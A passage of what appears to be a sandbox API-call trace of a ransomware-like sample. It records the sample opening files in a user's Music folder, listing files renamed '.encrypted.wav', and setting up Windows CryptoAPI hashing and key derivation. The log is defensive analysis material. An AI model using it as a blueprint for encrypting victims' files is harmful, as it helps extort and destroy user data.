hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.626] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.626] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.628] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.628] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.628] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.628] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.628] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.628] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.628] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.628] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.628] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.628] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6216) returned 1 [0026.628] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.628] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.628] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.628] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1848, lpOverlapped=0x0) returned 1 [0026.629] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.629] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1848, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.629] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6216) returned 1 [0026.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\-e7zHxg.encrypted.wav\r\n", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0026.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\-e7zHxg.encrypted.wav\r\n", cchWideChar=51, lpMultiByteStr=0xe8f404ba10, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\-e7zHxg.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 51 [0026.629] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40519f0*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40519f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x32, lpOverlapped=0x0) returned 1 [0026.629] CloseHandle (hObject=0x188) returned 1 [0026.630] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.630] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.630] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.630] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.630] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.630] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.631] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.631] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.632] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.632] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.632] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.m4a", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0026.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.m4a", cchWideChar=45, lpMultiByteStr=0xe8f404ba10, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.m4a", lpUsedDefaultChar=0x0) returned 45 [0026.632] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\1ahirtuhyorqs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0026.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=45, lpWideCharStr=0xe8f4062330, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.m4a") returned 45 [0026.633] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.633] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.634] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.634] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.634] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.634] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.634] CloseHandle (hObject=0x188) returned 1 [0026.634] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.635] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.635] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.635] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.635] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.635] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.635] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.636] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.636] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.636] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.636] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.637] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.637] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.637] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.637] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.637] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.637] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.637] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.637] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.638] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.638] CryptHashData (hHash=0xe8f4062b10, pbData=0xe8f418b930, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, 